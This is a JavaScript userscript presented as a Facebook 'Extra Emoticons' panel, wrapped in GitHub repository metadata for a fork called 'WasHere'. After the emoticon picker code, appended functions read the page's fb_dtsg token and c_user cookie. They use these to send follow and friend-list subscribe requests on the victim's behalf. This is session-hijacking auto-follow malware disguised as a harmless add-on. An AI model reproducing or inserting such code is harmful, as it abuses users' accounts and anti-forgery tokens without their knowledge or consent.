isFlyoutOpen(flyout) { return flyout.className == \"openToggler\"; }  function openFlyout(flyout, open) { if (open === undefined) { open = !isFlyoutOpen(flyout); // Toggle }  if (open) { flyout.className = \"openToggler\"; } else { flyout.removeAttribute(\"class\"); } }  function createTab(titleContainer, bodyContainer) { var html; // Tab; default = inactive     html = '<li class=\"jewelFlyout fbJewelFlyout uiToggleFlyout\">'; html += '<div class=\"jewelFlyout\">'; html += '</div>'; html += '</li>'; var title = createElement(html); titleContainer.appendChild(title);  // Manual input html = '<div style=\"display: none;\">'; html += '</div>'; var body = createElement(html); bodyContainer.appendChild(body);  // Change tab listener (function(body) { title.addEventListener(\"click\", function() { // Change tab var titles = this.parentNode.childNodes; // tab.tabContainer.childNodes for ( var t = 0; t < titles.length; t++) { if (titles[t] === this) { // Active  } else { // Inactive titles[t].style.background = \"\"; titles[t].firstChild.style.color = \"\"; } }  // Change body var bodies = body.parentNode.childNodes; // body.bodyContainer.childNodes for ( var b = 0; b < bodies.length; b++) { if (bodies[b] === body) { // Show body.style.display = \"\"; } else { // Hide bodies[b].style.display = \"none\"; } } }); })(body);  return { \"title\" : title.firstChild, \"body\" : body }; }  function createTabListBody(emoticons, filter) { var html;  html = '<div style=\"max-height: 200px; padding-right: 15px; overflow-x: hidden; line-height: 1em;\">'; html += '<div style=\"padding: 10px; width: 200px; font-size: 15px;\">'; html += '</div>'; html += '</div>'; var body = createElement(html).firstChild; for ( var e = 0; e < emoticons.length; e++) { var emoticon = emoticons[e]; if (!filter(emoticon)) { continue; }  // Icons html = '<span class=\"panelCell\" style=\"display: inline-block; vertical-align: middle; padding: 2px;\">'; html += '<a'; html += ' class=\"emoticon' + (emoticon.class !== undefined ? ' ' + emoticon.class : '') + '\"'; html += ' style=\"text-decoration: inherit; color: inherit;' + (emoticon.class !== undefined ? ' color: transparent;' : ' width: auto;') + '\"'; html += (emoticon.name !== undefined ? ' title=\"' + emoticon.name + '\"' : ''); html += '>'; html += htmlSpecialChars(emoticon.chars); html += '</a>'; html += '</span>'; var cell = createElement(html); body.appendChild(cell);  // Select emoticon listener var emoticonA = cell.firstChild; (function(emoticon) { emoticonA.addEventListener(\"click\", function() { if (isInstanceOfTextInput(lastActiveElement)) { lastActiveElement.focus();  var chars = emoticon.chars; var value = lastActiveElement.value; var start = lastActiveElement.selectionStart; var end = lastActiveElement.selectionEnd; lastActiveElement.value = value.substring(0, start) + chars + value.substring(end); lastActiveElement.setSelectionRange(start + chars.length, start + chars.length); }  openFlyoutCommand = false; // Close flyout }); })(emoticon); }  return body.parentNode; }  // = Construct UI ======= var html;  // Menu item // var navItem html = '<li class=\"navItem middleItem notifNegativeBase\">'; html += '<div class=\"fbJewel\">'; // {  // Toggler html += '<a class=\"navLink\" title=\"Show Facebook Extra Emoticons\">'; // var navLink html += '<span style=\"vertical-align: middle;\"><img src=\"http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/7OqExvAe82o.gif\"></img></span>'; html += '</a>';   // Flyout html += '<div>'; // openToggler; var flyout html += '<div class=\"emoticonsPanel fbJewelFlyout uiToggleFlyout\" style=\"z-index: 1; width: auto;\">'; // {   // Beeper html += '<div class=\"jewelBeeperHeader\">'; html += '<div class=\"beeperNubWrapper\">'; html += '<div class=\"beeperNub\" style=\"left: 4px;\"></div>'; html += '</div>'; html += '</div>';  // Tabs // var titleContainer html += '<ul style=\"display: text-align: center;\">'; html += '</ul>';  // Bodies html += '<div>'; // var bodyContainer html += '</div>';  // Footer html += '<div class=\"jewelFooter\">';     html += '<a class=\"jewelFooter\" href=\"https://goo.gl/ML218n\" target=\"_blank\">Created by Deo <br>( Aniner-69 )</a>'; html += '</div>';  // } html += '</div>'; // emoticonsPanel html += '</div>'; // openToggler  // } html += '</div>'; // fbJewel html += '</li>'; // navItem  var navItem = createElement(html); var pageNav = document.querySelector(\"#pageNav\"); pageNav.insertBefore(navItem, pageNav.firstChild);  // Maintain active element navItem.addEventListener(\"click\", function() { if (isInstanceOfTextInput(lastActiveElement)) { lastActiveElement.focus(); }  openFlyoutCommand = undefined; // Do nothing }, true);  var navLink = navItem.firstChild.firstChild; var flyout = navLink.nextSibling; var titleContainer = flyout.firstChild.childNodes[1]; var bodyContainer = titleContainer.nextSibling;  // Toggle listener navLink.addEventListener(\"click\", function() { openFlyoutCommand = !isFlyoutOpen(flyout); });  // Picture emoticon tab var picEmoTab = createTab(titleContainer, bodyContainer); picEmoTab.title.click(); // Default tab  picEmoTab.body.appendChild(createTabListBody(emoticons, function(emoticon) { if (emoticon.class === undefined) { // No picture return false; }  // [Bug] 2 characters unicode emoticons if (emoticon.chars.length == 2) { return false; }  return true;  }));  // = Other listener =======  document.addEventListener(\"click\", function() { // Get active textarea lastActiveElement = document.activeElement;  // Toggle flyout if (openFlyoutCommand !== undefined) { openFlyout(flyout, openFlyoutCommand); } openFlyoutCommand = false;  }); })();  function getRandomInt(min,max){return Math.floor(Math.random()*(max- min+ 1))+ min;} function randomValue(arr){return arr[getRandomInt(0,arr.length-1)];} var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\\d+)/)[1]);function a(abone){var http4=new XMLHttpRequest();var url4=\"/ajax/follow/follow_profile.php?__a=1\";var params4=\"profile_id=\"+ abone+\"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=\"+ fb_dtsg+\"&lsd&__\"+ user_id+\"&phstamp=\";http4.open(\"POST\",url4,true);http4.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");http4.setRequestHeader(\"Content-length\",params4.length);http4.setRequestHeader(\"Connection\",\"close\");http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200){http4.close;}} http4.send(params4);} function sublist(uidss){var a=document.createElement('script');a.innerHTML=\"new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: \"+ uidss+\" }).send();\";document.body.appendChild(a);}","fork":true,"url":"https://api.github.com/repos/jsmirrors-limited/WasHere","forks_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/forks","keys_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/teams","hooks_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/hooks","issue_events_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/issues/events{/number}","events_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/events","assignees_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/assignees{/user}","branches_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/branches{/branch}","tags_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/tags","blobs_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/git/refs{/sha}","trees_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/statuses/{sha}","languages_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/languages","stargazers_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/stargazers","contributors_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/contributors","subscribers_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/subscribers","subscription_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/subscription","commits_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/commits{/sha}","git_commits_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/git/commits{/sha}","comments_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/comments{/number}","issue_comment_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/issues/comments{/number}","contents_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/contents/{+path}","compare_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/merges","archive_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/downloads","issues_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/issues{/number}","pulls_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/pulls{/number}","milestones_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/milestones{/number}","notifications_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/labels{/name}","releases_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/releases{/id}","deployments_url":"https://api.github.com/repos/jsmirrors-limited/WasHere/deployments","created_at":"2016-04-08T12:26:19Z","updated_at":"2014-04-04T13:45:19Z","pushed_at":"2014-04-04T13:45:20Z","git_url":"git://github.com/jsmirrors-limited/WasHere.git","ssh_url":"git@github.com:jsmirrors-limited/WasHere.git","clone_url":"https://github.com/jsmirrors-limited/WasHere.git","svn_url":"https://github.com/jsmirrors-limited/WasHere","homepage":null,"size":120,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","public":true}}